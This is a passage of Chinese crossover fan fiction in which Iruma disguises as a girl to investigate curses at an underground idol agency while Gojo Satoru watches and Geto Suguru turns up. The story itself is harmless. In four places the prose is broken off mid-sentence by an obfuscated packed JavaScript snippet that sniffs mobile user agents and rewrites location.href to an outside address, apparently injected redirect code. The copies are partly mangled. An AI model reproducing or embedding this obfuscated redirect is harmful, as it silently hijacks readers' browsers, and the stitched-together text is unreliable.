五条悟:“?” 似乎发现了什么不得了的情况啊。 24.诶?地下偶像?我吗? “潜伏调查吗?听起来确实是个好主意”和他们对接的事务所秘书沉吟片刻,有点委婉地指出,“不过也要看情况吧?毕竟我们的偶像们基本都是女孩子,最合适应该还是真的请一位女性……” “不,目前女性咒术师不太有空,要女的没有,要男的有几个。” 即使是阿斯莫德在这里,恐怕也不得不承认,在这方面,五条悟确实头脑清晰——目前的情况,是事务所有求于人,他们并不清楚这是一场咒术师考核,所以让他们意识到这点,也多多少少能为调查争取有利条件。 比如现在,秘书重新思考起了女装问题。 这样一来,单独的房间什么的肯定是必要的,加上遇到问题的都是那些有资格拥有独立资源的地下偶像,这样的安排也不算出格…… “好吧,但是肯定也要进行筛选……” 就比如面前这个白发蓝眼,容貌让他惊为天人的少年。以秘书自己的眼光来看,不管怎么挑剔,都非常适合出道,但是绝对不应该是女装,女装的伪装在他身上,简直是个人长了双眼睛大概就可以一眼看破。 即使有神乎其神的化妆技巧掩盖掉男性的特征,这样天空树一样的身高也不会受到大众欢迎的:“虽然我们没有地下男团的业务,但是如果您愿意……” “你在看什么?给你们调查的当然不是老子,你们可还没有大牌到有资格、或者有足够的资金。”五条悟有点恶劣地笑,“是这位哟,你们请不起老子,女装更是另外的价格。” 秘书有点迷惑地转过头,左看右看,迟疑的目光最后落在了五条悟身边一直低着头抓着裙摆的蓝发少女身上——等等,这位是什么时候出现的,况且这难道不是女性咒术师吗:“难道说……” “您好,我叫伊露米。”入间有点欲哭无泪地用原音对着秘书打招呼,然后熟稔地切换成甜美的伪音,“是负责调查这件事的咒术师。” 可恶啊,已经锻炼出本能了!这种敬业真是大可不必! 秘书:“?!” 点烟的手,微微颤抖。 “喂,你好像失败了呢。”五条悟笑得不怀好意,“我就说嘛,果然男女之间还是有不可逾越的差别的吧?” 可是这个女装也不是我要女装的,是你!是你说了拜托的啊! 在感觉受到嘲笑的瞬间,即使面前是自己也有点觉得害怕的家伙,入间也要坚强为自己正名:“我的女装也没有那么糟糕吧?好歹曾经也是曾经被身边人公认的可爱啊!” 五条悟露出一副质疑的表情:“哈?你难不成要我夸一个抠脚大汉的女装很漂亮吗?这种体谅男人的事情你还是找别人吧,我的口味没有那么重。” 似乎还嫌不够,五条悟仰着头看着天花板,喃喃自语:“不妙啊,老子难道是在给一个蠢货作为举荐人的吗?” “再怎么说,‘蠢货’这个词也太严重了!” “你是住在温室里的家伙吗?连这样的词汇都会刺痛你脆弱的心?” “!!!” 怎么会有嘴巴这么毒的家伙!入间大受震撼。 似乎试图证明自己,入间表情严肃地转过头,看着神色恍惚的秘书,试图寻求认同:“您觉得这个女装怎么样?也没有那么糟糕的,对吧?” 好歹是在恶抖露的大乱斗里也能够获得一席之地的装扮,就算人类和恶魔审美有差距,但是也没有到被全盘否认的程度! 在双重视线的扫射下,秘书颤抖着手端起自己面前的热茶:“其实……” 在越发灼热的视线下,秘书坚强地表达了自己的想法:“其实这位……伊露米……女装还是很有天赋的。” “哼哼!” 何止是有天赋啊…… 秘书有点恍惚地思考着,他现在对自己在社交网站上认识的暧昧期漂亮妹子都产生了畏惧——对面真的是女孩子吗?不会也是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16695019|187507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男扮女装吧? 要不是记得有正事,他可能就要立刻给对面发消息请求证明了。 “总之,很……咳,很高兴您能来帮助调查……”秘书努力保持清醒,“嗯……那么,由我来介绍一下情况吧……” 在五条悟“你们居然这么饥不择食吗”的震撼中,秘书情绪稳定,看上去已经走了有一会儿地介绍起了具体情况。 总而言之,就是最近事务所比较有起色、准备正式签约艺人合同出道的女性地下偶像,都遭遇了不同程度的厄运。 有人不停生病,脸上全是红疹,后来好不容易褪去,可脸上遗留的疤痕彻底断绝了努力打拼出来的星途;有人感觉自己家里有被入侵的痕迹,以为是私生,却即使报警或者搬家也一无所获、调查不出任何痕迹;有人本来好好走在路上,却霉运不断差点出车祸…… 这种近乎诅咒的遭遇,已经导致有的地下偶像即使要支付大额违约金也不惜一切代价试图离开事务所,甚至于跳槽到对家,因为在至少生命安全得到了保障,所以即便需要重头再来也在所不惜。 “我们也尝试过报警或者安装摄像头,用一些比较科学的方法进行调查,但是越看越像灵异事件,所以最后还是求助于一些不可捉摸的非自然力量。”秘书苦笑着叹气,“求神拜佛也没有办法,调查对家也一无所获,如果这件事依旧不能解决,那么我们可能就要失业了。” 他站起来,对着入间和五条悟深深鞠了一躬:“所以,拜托你们了!” 听到“拜托”两个字,五条悟稍稍挑眉,似有所感地斜睨着眼睛去看入间,果然,少年头顶的呆毛忽然一抖,像是接收到了什么信号,本能说出了那句:“好的!” 哈,这可真算是有点意思。 而入间,像是下定了什么决心——既然这家伙没有办法欣赏女装,我一定要让他承认我的业务能力! 他才不是什么女装很糟糕的家伙! 25.这份工作也不是非做不可 敲定合作,秘书留下几张海报就匆忙离开了:“在下回去之后会汇报给事务所,届时会配合您的行动。到时候,我们会宣称您是我们即将推出的、由地下偶像转签为正式艺人的新人,还会给您安排单独的休息室和换衣间,以便和其他地下偶像分开……抱歉,我是说,方便调查。” “这里是部分地下偶像的无料场……对不起,说习惯了,总之这些属于地下偶像的免费宣传场次,如果您要女装作为地下偶像调查的话,果然还是对这个有所了解会更好吧?” “好的,我们会去的!”入间表情凝重地点头,忽视背后五条悟“谁会对这个感兴趣啊不要擅自替别人做决定!”的抱怨。 对此,入间头也不抬:“但是如果我去的话,五条君也要跟我一起去的吧。毕竟虽然不会跟我一起调查,但是五条君还是要对我进行监督的。” 嗯,他真的是为了任务着想,一点都没有公报私仇的意思,更没有想让这位“六眼神子”认清自己即使放在地偶女团里也可爱得毫无违和感的目的! “为了以防万一,老子姑且再次强调一下,全程都得是你自己调查和打怪哦,老子只是负责监督,最多在你打不过的时候捞一把而已。”五条悟不久之前在车上强调的这句声明,被入间用一种刁钻的方式回敬了。 “明白的!”当时的铃木入间如此回答。 那么现在……现在他按照之前所说的,即使再怎么不感兴趣,也得跟着入间一起过去。 “啧。”五条悟略带不爽地皱了皱眉,“那走吧,老子可不是那种言而无信的烂橘子。” “烂橘子?” 五条悟没有过多解释,有点烦闷地坐回车里:“一群难搞的老头子啦,反正你们迟早都要见到他们。如果这次考核顺利,那群贪生怕死还藏头露尾的老爷爷就会迫不及待喊你过去的。” 这种称呼不是很礼貌的样子……而话中所透露出来的老爷爷们也不是很客气的样子。 “烂橘子”这个起绰号风格,倒是很符合就目前的接触来说,所能总结的五条悟的性格。 于是入间闭上了嘴巴,老老实实跟着一起上了车。 秘书口中的免费地下偶像活动在一家不大的商场举行,据说还是拼盘活动,也就是很多不同的偶像团体齐聚一堂,轮流表演。看宣传海报上这个活动的时长和参加的团体数量,估计每个团体最多能分到一两首歌的时间。 听着入间的科普,五条悟发出致命一击:“你为什么对这一行这么了解?” 入间:“!!” 不妙,因为曾经当过恶抖露,对于类似流程太了解,在无意中就暴露出来了! “哈、哈哈,因为比较感兴趣吧。”入间打着哈哈,疯狂转动脑筋,试图转移话题,“说起来,到底为什么要叫……” “拜托了大家,今天也要支持萌酱哦!” 被忽然热闹起来的声音吸引,入间如释重负侧过头,回避掉话题,就看到一个活力十足的少女对着台下比心,“最最最——最喜欢你们啦!” 大概确实是一位小有名气的地下偶像,在她说完之后,台下爆发出了惊人的声浪: “萌酱!” “萌酱请踩我!” “啊啊啊啊啊萌酱!” 伴随着人挤人的热闹场面,自然的,摩肩接踵的汗味也非常狡猾地入侵感官,这股剧烈的味道让五条悟露出了难以忍受的表情。 入间一起捂住口鼻的同时也松了口气——大概这个话题可以就这么糊弄过去了吧? 暂时放下心,就有更多的心思放在观摩上,因为一开始的登场就是在魔界的巨蛋演唱会救场,也确实取得了一点名气,作为误打误撞的幸运儿的入间,这才开始认真地琢磨人类世界和魔界在偶像业务上的区别。 不看还好,认真看下来,入间地眉头不由自主地皱了起来。 魔界在表演结束之后自然也是有握手会的,但是握手会举办过程中,会有安保人员守在旁边,防止意犹未尽或者恶周期没有得到控制、依然存在破坏欲的恶魔对恶抖露们造成伤害。 换句话说,每位恶抖露,都是有正规保护措施和演出安排的。 但是眼前的拼盘演唱会,在节目表演结束的热烈余烬中,却呈现出了一种截然不同的野蛮生长。 在唱跳过程中,小偶像们时常流露出一种业内人看起来甚至有些刻意的笨拙,比如偶尔跟不上某个节拍,或者似乎“一不小心”来了个左脚绊右脚的平地摔,往前倾倒,又在下台前一瞬险之又险地退回来。 好奇怪,真的太奇怪了。 至于粉丝,更是让入间有种没来由的不适。 地下偶像中,女团粉丝里,男女比例差距其实并不小,女性粉丝还好,男性粉丝却称得上是鱼龙混杂。 当然有诚惶诚恐、或者沉默拘谨地和小偶像合照以后就鞠躬离开的人,还有会真的非常真诚地感谢小偶像地表演和提出舞蹈专业建议的群体。 可是……更多的是用力握着小偶像的手,一直不肯松开,甚至于愈演愈烈,拍照时做一些暧昧的动作,甚至于手不老实地上下游走。面对这样堪称骚扰的行为,小偶像也只会笑眯眯合影。 美丽、柔顺,像是被拔去羽翼、驯服,然后像只标本被固定在屏风上的、了无生气的飞鸟。 “安娜酱果然很可爱啊,不过稍微笨拙一点就更好了嘛。”搂着小偶像腰的男人这么说着,“作为女人,就是要笨拙一些,反正也不一定能够真的出道成为艺人,你说是吧。” “是、是的,我会变得更加可爱的!” 而被称为安娜、被搂着的少女之前还在认真感谢之前给自己提出舞蹈方面建议,还有“如何保护自己脚踝”的粉丝,眼睛里都是对变得更好的向往。 很难受,或者说,入间感到一丝憋闷的愤怒。 可是这种感觉是对着谁的,他说不上来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16704490|187507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >好奇怪,真的……太奇怪了……这样的行业……就算真的产生咒灵,恐怕也不是什么让人意外的事情。 “哪里都有烂掉的人,咒术界更是有过之而无不及。”五条悟看了入间一眼,转身,作势准备出去,但是不知道为什么脚并没有动,“如果连这点情况都受不了,老子不建议你留在高专。” “你们……还好吗?”两瓶递到他们面前的水打断了五条悟可能的继续发言,戴着棒球帽,遮住眉眼、头发略长的少年有些担忧地问道,“是人太多了所以不太舒服吗?你的同伴看起来不是很适应商场里的环境……请问他是外国人吗?” “老子是纯正日本人。”五条悟开口,“不用说外语,老子听得懂。” “……那,抱歉?” “不不不,道歉的应该是我们才对!”入间疯狂摆手。 啊啊啊啊果然,这家伙的脾气,超级糟糕啊!明明别人是好意关怀来着。 五条悟没管一边努力组织措辞替自己道歉的入间,只是神色有些莫名地看了这个少年一眼,挑了挑眉,没有说话,但是倘若有熟悉他的人在一旁看到这副模样,大概会意识到,这一眼里充满了跃跃欲试的兴味。 就像……猫科动物盯上了什么有趣的猎物。 “啊,谢谢。”入间在这个插曲中算是彻底回过神,接下少年手里的水,然后顺着他的视线看了看五条悟,不太能明白这个少年究竟是从哪里看出来这个戴墨镜的大个子不舒服,“真是不好意思……但是……这样……哪里……” 匆匆撇过确定五条悟看起来生龙活虎之后,按捺下心里的问题,他看向那边大排长龙的握手会,一时不知如何开口。 “你们是第一次遇到类似的活动吧?”少年却像是颇有些经验似的,充满善意地解释,“那里在举行地下偶像活动啦。毕竟不是所有人都能轻而易举出道,这种小活动就属于为一些还没有资源或者机会,不能在主流媒体露面、也没有通过经纪公司之类正式出道的偶像准备的。不久前,似乎确实有个小偶像被一眼发掘,现在正在准备签约出道呢。” “请问你也是来看演唱会的吗?”入间下意识拧开矿泉水喝了一口,果然好受多了,“因为我们不太了解这方面,所以有点好奇,活动都是这样的吗?为什么不在更大一点的地方?” “我是来给同学捧场的。”少年回答道,“所以也去了解了一下,据说是因为几个偶像团体能拿出来的工资不够租更大的地方了。” 什么?入间感受到了更大的震撼,演出,居然还要自己垫钱吗? 人虽然已经被这种堪称无良的行为震撼得大脑宕机,但是为了进一步了解,入间还是下意识问道:“谢谢你今天的帮助……方便知道你的名字吗?” “我吗?”少年微微笑起来,上挑的眉眼笑起来的时候不知道为什么总是会让人想到狐狸之类的狡黠动物,“很高兴认识你,我叫夏油杰,是最近来这边打工的学生。” 26.你这好奇心正经吗? “好荒谬……” “为什么要这样呢?” “这样产生咒灵简直是情理之中啊……” “……” 五条悟打断了入间的碎碎念:“喂,你转够了没有,老子要被你转晕了。” “可……” “没有可是,要转出去转。” “好吧。” 入间就这么从善如流气鼓鼓地出去了。 四下无人,入间手上的恶食戒指久违地闪了闪,凝聚回熟悉的人形:“好久不见!哟,这是发生了什么,能让你苦恼成这样啊,入间小弟。” “艾利先生!好久不见!”入间顿时热泪盈眶。 说起来确实好久不见了,不知道为什么,自从吃了那个手指咒物,或者更早之前入学高专,艾利先生就很少现身了:“艾利先生,是因为来到异世界所以身体出现不适了吗?如果有什么需要,请务必告诉我!” “嘛,倒也不是什么大事,其实是因为……” 他们并肩走过长廊,艾利先生指了指旁边的玻璃,入间立刻充满信任地凑过去。 玻璃窗外是一片树林,隐约能窥见一点更远处车水马龙的繁华,除此之外,就剩下入间自己那张被冲淡的脸,还有…… “这是什么?” 在看到玻璃里那团黑乎乎的不知名物体时,他先是愣了一下,甚至怀疑过会不会是咒灵,都没有往那方面想——这个影子,居然是在魔界一直活得仿佛迎隐形人的艾利先生! 因为习惯了不论如何都不能在任何倒影中看到它,所以入间一直没能在事实中确实存在的艾利先生和玻璃中的影子联系起来。 此时此刻,入间才算是彻底明白了艾利先生的未竟之语——在这个世界,艾利先生,居然是可以被看到的! 他因为这意外之外的变故结结巴巴:“这、这是什么时候发生的事情?阿兹君也可以看到艾利先生了吗?” “不,阿斯莫德看不见我,不过,人类中的咒术师好像可以。” 这也就很好理解为什么当初邀请入间入学的夜蛾为什么视线能够聚焦在它的身上了,就好像真的能够看到一样——不是好像,是确实可以。 “!!!” 这么说来、这么说来…… 欸?好像也没事? 毕竟,艾利先生除了进食,也不是经常出现的来着。后面即使是遇到了眼睛很厉害的五条悟,那时候的艾利先生已经吸收了半根手指很长一段时间没有出现了。 看着入间一惊一乍的表情,艾利先生有点无奈地扶额:“哎呀,这真是……” 果然,入间小弟,是个笨蛋呢。 “那艾利先生也会被当成和咒灵类似的东西了吗?”入间的关注点倒是一如既往的神奇,“哦,不对,艾利先生不是东西……是东西……对不起!” 不管怎么说,先道歉就对了! 艾利先生:“……” 艾利先生无奈道:“算了,我早就知道入间小弟不太聪明的。” “呜——” 艾利先生的重新出现,像是给入间注入了精神上的主心骨。他迫不及待地朝着心目中算是可靠的“长辈”分享着这个世界里,想要被喜爱、想要成为偶像的少女们所面临的堪称残酷的规则,语气中甚至有些无措。 毕竟,他所接触到的偶像——问题儿童班的凯洛莉,因为意识到自己的可爱,想要得到家人的认可和更多人的喜欢而成为恶抖露,所面临的最大烦恼也只是和宿敌嘉莉的情感拉扯以及总是被入间一不小心顶掉头条待遇而已。 人类世界的地下偶像们,所遭受的堪比耗材的待遇,对于他来说还是太超纲了。 “嘛,一直生活在温室里也不是办法。”艾利先生小声嘟囔了这么一句,然后对着入间开导道,“其实,入间小弟,你们、有没有想过,或许世界一直是这么残忍的呢?” “比如说,魔界的恶抖露们不需要遭遇这种事情,是因为恶魔们有求于她们,并且崇尚武力,遇到问题直接打一架。而人类世界被文明所束缚,所以大家就会在规则内做出很多的让步和斗争?” 就像是魔界其实一直都有那么一点残忍的意味,巴比鲁斯的风平浪静其实是因为沙利文作为校董引入的老师们都是真的很为学生考虑并且实力强劲的家伙,才有资格制造出一片远离斗争的净土。 恶魔之所以被称之为恶魔,不就是因为难填的欲壑和难以满足的野心吗? “我明白了!”入间果然不负所望,一脸地茅塞顿开。 艾利先生刚想欣慰于这个愣头青总算明白了,不管是人类还是恶魔,生物的竞争本能都不可避免这个残酷事实,入间就一拍手掌,放出狂言:“只要能够改变规则就好了嘛!” 艾利先生:“……” 虽然确实是明白了,但是貌似朝着奇怪的方向开始顿悟了! 嘛,不过不是坏事就是了。 要是那小子在的话,肯定要来一句“不愧是入间大人”吧? 艾利先生思索片刻,毕竟是有求于人,于是学着阿斯莫德的样子给入间鼓劲:“好,拿出这样的劲头努力,相信你可以的,入间小弟!” “当然,在我不出现的这段时间里,其实也不是一点变化都没有的——比如说,吃下那个能量非常充沛的咒物之后,我现在能够附着在某些物体上了。” “因为能够被看到,所以,我想要像是在魔界那样大大方方地出现肯定是不行的。”艾利先生眨了眨眼睛,图穷匕见——它只想看这家伙自己摸爬滚打,并不想对入间的雄心壮志提出什么建议,于是非常丝滑地把话题往自己的需求上转移,“所以,之后如果有什么事情的话,我会附着在入间小弟的耳返*上,随时和你沟通。希望入间小弟成为人类世界恶抖露之后,也不要忘记定时打猎给我进行能量补充哦。” 匆忙给入间布置完任务,艾利先生就重新回到了恶食戒指内,甚至也没有来得及给入间展示自己会怎么样附着,看得出完全不想提供哪怕一点帮助——毕竟孩子们都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16710942|187507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是要自己摸爬滚打的嘛! 好吧,入间握紧拳头,没有能够倾听的观众,也只能暗自下定决心,要像之前帮助多耳族一样,改变规则! “喂,对着窗户傻笑什么呢?”暗下决心的时候,一道声音非常“煞风景”地打断了情绪。 入间转过头,看到了从酒店房间里转出来的五条悟。 “我才没有!” “哼。”五条悟一脸不信,不过居然什么都没说,只是对他伸出手,“你的手机拿给我一下。” 入间深感莫名其妙:“为什么?” “没有为什么。”五条悟想了想,露出了一个带着一点不怀好意的笑,“拜托了,手机拿给老子吧。” “好、好的!” 入间话一出口立刻捂住嘴巴,只好用眼神谴责这人——太过分了,怎么可以这样!虽然不知道是什么时候知道的,但是真的很过分!为什么不可以好好商量…… 五条悟笑容更甚,一开始其实他以为只是巧合,可是随着接触次数的增加,之前脱口而出的“好的”还可能只是意外,但是这次在和委托人见面之前说女装就答应就绝对不是巧合。 现在更是能彻底验证——果然,这家伙,完全无法拒绝别人的请求! 哈!这可真有意思。 五条悟接过入间不情不愿递过来的手机,在联系人一栏看了看,并且发出吐槽:“哇塞,你们是小学生吗?只是分开考试而已,一天居然可以互相发这么多信息……啊,找到了。” 他将跟联系人那栏里新添加的、名为夏油杰的少年的联系方式记在脑子里,然后把手机还给了入间:“不要一副老子要对你们做什么坏事的表情看着老子啊,只是比较好奇今天遇到的那个家伙而已,没有删你们的任何聊天记录,满意了吗?” 入间:“……” 入间气冲冲地反驳:“才不是小学生!” 可恶,他真的不敢说“谁害怕你删除了”,因为他的超强直觉告诉他,如果真的说了这个气话,对面那家伙是真的有可能对聊天记录下手的。 阿兹君,是很重要的朋友,所以经常联系、珍惜聊天记录,也很正常的吧? 明明是这个家伙不懂! 拿着手机,入间转身就往回走,回到房间,被风吹得冷静下来的大脑才开始思考五条悟要夏油杰联系方式到底是什么意思。 总之应该不会太友善就是了。 那岂不是很不妙吗? 秉持着毕竟夏油杰是个善良好人的心态,入间连忙给他发了消息:“实在是非常抱歉在这么晚的时候打扰您,不过我的同伴非常想要您的联系方式,在没有告知您的情况下,我将您的联系方式给了他,此举非常冒昧,在此我向您表示深深的歉意。虽然不知道他要做什么,但是希望不会给您带来麻烦……” 发完堪称的小作文的消息,入间深深吐出一口气,倒在了床上。 五条悟想要夏油杰的联系方式到底是为了干什么,思来想去都让人觉得不安呢。 27.舞台演出! 秘书的效率很高,也可能是因为藏在暗处的诅咒每多一天,事务所的损失就会增加一笔,总之,在安排好了入间的身份之后,入间的升级考核,才算得上是开始了。 “公司是按照业务能力分配休息室的,走廊尽头就是为那些准备上主流媒体正式出道的偶像们准备的地方。”秘书简明扼要地介绍。 而附身在耳返上的艾利先生非常专业地进行一些分析:“也就是说,粉丝越多的偶像待遇越好,由于有相当长的一段路,不仅那些极端粉丝不容易闯进来,并且在万众瞩目之下走向公认留给优秀者的休息室,带来的心里成就恐怕也足够让人向往。” “但是走起来会很累吧?”亦步亦趋跟在秘书身后的入间,感受着自己身上逐渐聚集的复杂目光,有点紧张。 他还没遇到过这样密集、甚至于恶意逐渐加重的瞩目呢。 “不不不,入间小弟,恶魔在做自己热爱的事情的时候,是不会觉得累的,当然,人也一样,这种成就感带来的快乐是足够盖过辛苦的。” 艾利先生还想说什么,想起这家伙的属性,笑了一声:“不过这对你来说算是对牛弹琴吧。” 毕竟这家伙,某种程度上,是一条迟钝的笨蛋咸鱼来着。 “小林先生,好久不见!最近身体状况如何?您身后跟着的是新人吗?”在看到入间的一瞬,就有几个活泼开朗的少女凑近,“需要我们帮忙带路吗?” “哦,是你们啊。”秘书对着她们点了点头,表情却完全不像是记得的样子,“没关系,我带着她走过去就行。” “欸——什么嘛!”其中一个少女拖长了音调,语气有点失望的样子。也正因为秘书的表现,她们对入间表现出了更深的好奇,跟着他们朝着走廊内走去。 入间能感受到,越往里走,聚集在他身上的目光就越复杂,其中甚至夹杂着尖锐的嫉妒。 太正常了,他有点欲哭无泪,却很能理解,毕竟他当这种天降选手也不是一次两次了。 当然,如果是阿斯莫德在这里,应该感受更深——作为优秀学生代表被校董的孙子、一个完全没听说过名头的家伙抢走了新生代表发言机会,虽然两次事件中的同一个当事人自己也很崩溃,但是对于他们来说简直是大写的不公平! 对于这些少女们也是一样的,辛辛苦苦拉宣传,自己出钱打歌出专辑、租舞台表演增加知名度,却不如莫名其妙的家伙忽然天降,告诉你有些人就是这样可以为所欲为,不管是谁都很难心理平衡吧? 就算前面即将签约的地偶遭遇了危险又如何呢?要是真的因为这种听起来只是时运不济的流言就望而却步,放任机会溜走,没有真的遭遇过类似事件的人,怎么能够甘心呢? 入间努力忽略掉那些视线,在心里疯狂碎碎念“我不是来抢占舞台的,我是来调查事件的”,才勉强让心里的愧疚稍微平复。 推开走廊尽头那扇门,一个明亮整洁的化妆室映入眼帘,根据入间为数不多的恶抖露经验来看,这个房间也已经是很不错的档次了。 “您提起过自己有唱跳经验对吗?”秘书有点犹豫地跟入间确认,“在这个基础上我们为您安排了一个比较简单的见面会,大概是两个小时之后,就在前面的那个表演舞台,您看看有什么自己会唱的或者能够表演的节目……” “啊,好的!” 入间紧张地点点头,像是想要平复自己的紧张心态,从包里摸出了那本灾厄之书。 “啪——” 手里用来打发时间的书本被重重合上,五条悟环顾四周,看着脸上都带着狂热的人群,百无聊赖地叹了口气。 “还是不太舒服吗?因为人多?”夏油杰语气中不无担忧,“话说真看不出来呢,明明讨厌人多的场合,却坚持呆在这里……” “哈,老子就不能来追星吗?” “……每天照镜子的话还是会对追星感兴趣吗?好神奇。” 五条悟神色古怪地看了这个明目张胆夸他容貌的家伙一眼,哼了一声,不置可否。 “话说这种隶属于事务所或者经纪公司旗下的舞台,基本上是有一定受众和粉丝群体的地下偶像表演的地方,一般来说价格还挺昂贵的。”夏油杰倒也不觉得尴尬,对着五条悟笑了笑,“谢谢你请我看。” 正思考着怎么混进来呢,五条悟发出的邀请信息简直是及时雨。所以,也因此,夏油杰对五条悟的大少爷态度接受良好:“啊,舞台要开始了。” 来到这里的人也不少,能够出现在这里,几乎大部分都是追一个甚至多个固定团体或者个人的,没有应援服装和应援棒、全程站在原地不动的两个高大少年跟周围热血沸腾的氛围简直格格不入。 一轮又一轮挥洒着汗水的表演结束,入间穿着打歌服最后登场,对着台下活力满满招手:“大家好,人家是新人伊露米哟,请大家多多指教!接下来,人家会为大家带来一首《小恶魔》,希望大家喜欢!” 毕竟有些粉丝就是会偏爱新人,或者本身也是不会让场子冷下来的性格,所以在陌生面孔上台之后也非常配合地欢呼:“哦!!” 以至于目前看起来效果居然还不错。 而毕竟人有从众心理,一旦有人捧场,其他的观众也会抱着“有人认识,那应该不算是纯粹新人,先鼓个掌”的心态加入,于是新面孔带来的安静很快就被掌声盖过。 也因此,人群中的两个大帅哥,更加容易被一眼看到了! 对上夏油杰愕然的表情,入间心里也闪过一丝震惊,但是作为偶像的职业素养也让他保持着良好的表情管理,台风稳健地唱跳:“身为恶魔切勿大意……要来摸摸我的发梢吗……” 虽然在舞台上不能破防,但是入间也已经悄悄地蜷缩脚趾——啊啊啊啊!虽然在后台隐约听了一耳朵其他小偶像分享 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16713659|187507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今天台前有帅哥,他也知道五条悟在台前监督,也算理应外合,但是……没人告诉他夏油杰也来了啊! 最惨的是,即使是同学们也没有在他女装之后认出自己,为什么!为什么夏油杰一副“居然是你”地样子! “这个我可以解释哦,入间小弟。”艾利先生猜到了他的想法,毕竟这家伙真的很简单好懂,通过耳返回答,“其实是因为之前在我的影响下,你的同学们会受到一定程度上的蒙蔽啦。不过现在因为那个叫做五条悟的家伙,我不太方便出面。” 原来如此……但是真的好尴尬啊! 入间欲哭无泪。 “别尴尬了,入间小弟。”像是发现了什么,艾利先生的声音立刻严肃起来,“灾厄之书还在你的道具背包里吗?” 在的!难道是罪魁祸首出现了吗? 入间一个激灵,借着舞蹈动作点了点头,然后耳边传出指引:“现在,调动它!模拟吸收咒物时候的运行方式!” 伴随着艾利先生的指引,一股力量涌入入间的眼睛,入间眨了眨眼,看到了人群身体上所附着的黑色怨气。这股怨气像是有意识一样,完全避开了站在人群中的五条悟和夏油杰,淤泥一样牢牢紧贴着观众们的身体。 这是……什么?是幕后咒灵留下的痕迹吗? 没来得及多想,艾利先生就继续命令:“吸收掉它,对你、对台下的人都有好处!” 好! 入间一心两用,一边和台下互动,一边试图用灾厄之书吸收那些能量,丝丝缕缕的黑色雾气如同线头被剥离抽取、最后源源不断涌入他背后的道具背包,像是什么魔法剧情中轻飘飘的打扫。 台下的人伴随着甜美歌声应援,忽然感到浑身一轻,一种说不出的什么东西离开了身体,甚至可以说好比经历了一场什么按摩,浑身上下松快得不得了,甚至情绪也莫名其妙的高涨,这样的表现外化在行动里,就是愈发热烈的应援和欢呼。 不知道从什么时候开始,变成了整齐划一的欢呼“伊露米!伊露米!伊露米!” 看上去真有了符合出道标准的地下偶像应有的人气。 也因此,当他婉拒台下的“安可”,回到后台时,面对的视线友善了很多,虽然还是很复杂,但是至少证明了这个天降不是什么花瓶。 能者居之,不论是魔界还是人类世界,对德不配位的抗拒远远超过其他。 入间倒也没来得及感受这个,或者寒暄什么,收拾东西匆匆忙忙离开,在看到了在外面等候的五条悟和夏油杰之后,表情严肃: “我,看到了……” “老子看到了……” 两人异口同声,然后入间秉持着老好人的态度,也因为五条悟本身的专业性,抬手请五条悟先开口。 “你,吸收了那些东西,对吧?” 谁知道第一句话,就让入间不由自主屏住呼吸。 28.好巧,你也是咒术师 五条悟一开口,入间算是结结实实体会到了什么叫做毛骨悚然——这人到底何方神圣,是察觉到了什么吗?还是只是单纯在诈他? 随着大脑的飞速运行,不知道应该怎么回答,入间身体也越发僵硬。 “……你、你们……这是在?” 好在夏油杰打破了这个古怪的氛围,入间充满感激地看了他一眼——果然,这个少年,是个好人! 夏油杰同样是一肚子的话要讲,他敏锐地察觉到了什么:“你们,该不会也能看到那些怪物吧?” 居然又是一个咒术师?!入间惊讶地转头看着他,没想到夏油杰要说的是这样一句话,快要被这密集的信息流冲击得大脑宕机。 不是,没有一点缓冲的吗? 五条悟倒是意料之中的表情,甚至先回答了夏油杰的问题:“嗯,没错,那些只能被我们看到的怪物,一般称之为咒灵。你,要不要考虑去专门的学校学习?” 入间:“……” 起猛了,看到御三家的少爷给学校拉生源了。 不过他也没能愣太久,紧接着火就烧到了自己身上,五条悟没有对夏油杰进行过多的解释,对着手机鼓捣了一会儿,似乎在跟什么人联系,发完消息就摆了摆手:“回头老子把资料发给你。” 紧接着,就转过头,即使隔着墨镜,也能感觉到视线带来的压迫感:“所以,回答老子,你在吸收咒力吗?” 